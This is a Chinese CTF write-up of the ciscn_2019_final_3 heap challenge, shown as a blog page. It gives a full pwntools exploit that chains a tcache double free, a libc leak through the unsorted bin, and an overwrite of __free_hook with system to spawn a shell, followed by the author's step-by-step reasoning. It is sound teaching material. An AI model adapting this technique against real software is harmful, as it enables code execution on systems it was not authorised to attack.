前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ciscn_2019_final_3 writeup

ciscn_2019_final_3 writeup

作者头像
yichen
发布2020-10-28 10:43:32
7530
发布2020-10-28 10:43:32
举报
文章被收录于专栏:陈冠男的游戏人生

一道收获蛮大的 PWN 题,拖了好久才 PWN 出来,关于 tcache 更加的了解了。文中有部分心理活动,大家乐呵乐呵吧,啊哈哈哈哈 Orz

语雀阅读体验更佳

https://www.yuque.com/hxfqg9/bin/ms60xm

开头先放 EXP:

代码语言:javascript
复制
# encoding=utf-8
from pwn import *
#context.log_level = 'debug'

p = process("./pwn")
#p = remote("node3.buuoj.cn",29686)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,size,content):
  p.sendlineafter('choice > ',str(1))
  p.sendlineafter('input the index\n',str(index))
  p.sendlineafter('input the size\n',str(size))
  p.sendlineafter('something\n',content)
  p.recvuntil("gift :")
  ptr = int(p.recv(14),16)
  print index,":",hex(ptr)
  return ptr
  
def remove(index):
  p.sendlineafter('choice > ',str(2))
  p.sendlineafter('input the index\n',str(index))
  
ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)

remove(0)
remove(0)
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,'\x10')
add(7,0x50,'\x05'+'a'*3+'\x03'+'a'*(0x40-5)+p64(ptr0+0x50))
add(8,0x10,p64(0)+p64(0x101))

remove(0)
remove(0)
remove(1)#unsortedbin
add(9,0x50,p64(ptr0+0x60))
add('10',0x50,'\xd0')
add('11',0x50,'\xa0')
main_arena_addr = add('12',0x50,'\x50')-96
libc_base = main_arena_addr - libc.sym['__malloc_hook'] - 0x10
malloc_hook_addr = main_arena_addr-0x10
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f3c2
sys_addr = libc_base + libc.sym['system']

remove(0)
remove(0)
add('13',0x50,p64(free_hook))
add('14',0x50,'\11')
add('15',0x50,p64(sys_addr))
p.recvuntil("choice > ")
p.sendline('2')
p.sendlineafter("input the index\n",'3')
p.interactive()

首先申请几个 chunk,然后对其中一个 free 两次,因为有 tcache 机制,所以可以 free,且会放在同一个 tcache 链表中 0x555555768e70

接下来申请回来 0x50,反手把 fd 指针改掉,改成:

0x555555768e70-0x11e60=0x555555757010

不太理解这个分配机制,都改掉链表了啊!?为啥还会分到之前那里!?

可能是这样的,本来:

0x555555768e70 -> 0x555555768e70

申请一个,同时把这个地方的 fd 指针给改为 0x555555757010

这时候成了 0x555555768e70 -> 0x555555757010,再去申请的时候申请到了 0x555555768e70

然后 tcache 链表是这样的:0x555555757010,然后再去申请的时候把 fd+0x40(不明白为啥是这样一个地方 fd+0x40 这样子,明白了看后面吧hhhh)改成 0x555555768ec0,而 tcache 再去找的时候也确实是找了这个地方

然后我发现在一开始 remove 之后 0x555555757070 这里就有指向第 0 个的指针了,难道这是链表头部?

一点一点看看,首先是全部申请之后:啥都没有

对第 0 个 remove 一次之后:出现了第 0 个的地址

对第 0 个第二次 remove 后:第 0 个的 fd 也指向第 0 个了,合情合理

然后去 malloc 一个,同时把 fd 指针改成 0x0000555555757010

因为 free 了两次,所以应该还指向第 0 个,但是第 0 个的 fd 指针已经改变了

然后再去申请一个的话 tcache 就指向更改的那个 0x0000555555757010 了

我们再通过申请时写入到 0x555555757050 使得前面有个地方改成 0x0000555555768ec0

(这时候突然意识到 tcache 是每种大小的在一个链表),exp 中后面再去 malloc 的是 0x10,往后数一下,我们之前看到的 0x555555757070 正好是 0x50 大小的链表那里!!

也就是说如果下一个申请的是 0x10 大小的话就应该去 0x555555757050 去找指针

而我们写入的那个 0x0000555555768ec0 正好是第 1 个 chunk 的 chunk 头,也就是说这样我们就能控制第 1 个 chunk 的 size 了,我们在申请时将它的 size 改为了 0x100

另外 0x555555757010 这个地方正好对应着 tcache 的数量,比如一开始 remove 了两个以后这个地方成了 2

因为我们前面已经把除了我们要用的都改成了 0x61('a')了,所以即使 0x100 也会放入 unsorted bin 中

然后去 malloc 一个的同时把第 0 个的 fd 指针又改为了刚才释放的那一个,强行排队2333

这样再去申请第三次的时候就会申请到 unsorted bin 的地址,通过给的 gift 就能知道 main_arena+96 的地址了,然后就能计算出 libc 的地址啦!

然后要做的就是 double free 编辑 free_hook 为 system 的地址,然后去 free 第三个就可以拿到 shell 了(因为前面我们把第三个上写入的是 "/bin/sh")

当然,也可以直接编辑 free_hook 为 one gadget,这样随便 free 哪一个都可以啦!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档